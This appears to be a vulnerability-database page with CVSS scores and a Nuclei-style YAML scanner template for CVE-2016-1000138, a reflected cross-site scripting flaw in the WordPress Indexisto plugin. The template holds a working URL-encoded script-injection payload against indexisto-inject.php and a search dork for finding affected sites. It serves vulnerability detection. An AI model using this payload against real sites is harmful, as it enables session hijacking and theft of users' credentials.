CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
EPSS
Percentile
46.3%
WordPress Admin Font Editor plugin indexisto 1.8 and before contains a cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
id: CVE-2016-1000138
info:
name: WordPress Admin Font Editor <=1.8 - Cross-Site Scripting
author: daffainfo
severity: medium
description: WordPress Admin Font Editor plugin indexisto 1.8 and before contains a cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
impact: |
This vulnerability allows an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Update to the latest version of the WordPress Admin Font Editor plugin (1.8 or higher) to fix this vulnerability.
reference:
- http://www.vapidlabs.com/wp/wp_advisory.php?v=38
- https://wordpress.org/plugins/indexisto
- http://web.archive.org/web/20210622181116/
- https://nvd.nist.gov/vuln/detail/CVE-2016-1000138
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2016-1000138
cwe-id: CWE-79
epss-score: 0.00119
epss-percentile: 0.46028
cpe: cpe:2.3:a:indexisto_project:indexisto:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 2
vendor: "indexisto_project"
product: indexisto
framework: wordpress
google-query: "inurl:\"/wp-content/plugins/indexisto\""
tags: cve,cve2016,wordpress,xss,wp-plugin,indexisto_project
flow: http(1) && http(2)
http:
- raw:
- |
GET /wp-content/plugins/indexisto/readme.txt HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
internal: true
words:
- '= Indexisto'
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/indexisto/assets/js/indexisto-inject.php?indexisto_index=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "</script><script>alert(document.domain)</script>"
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 4a0a00473045022100955ffa11eece07af0cfba023405fc6170503ac1e3d623ffc32df2861fe98b9b0022007c37c4deb3d512648bd16c4f7d38bc4be48e053a9d7d122456adf2073abd3b4:922c64590222798bb761d5b6d8e72950
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
EPSS
Percentile
46.3%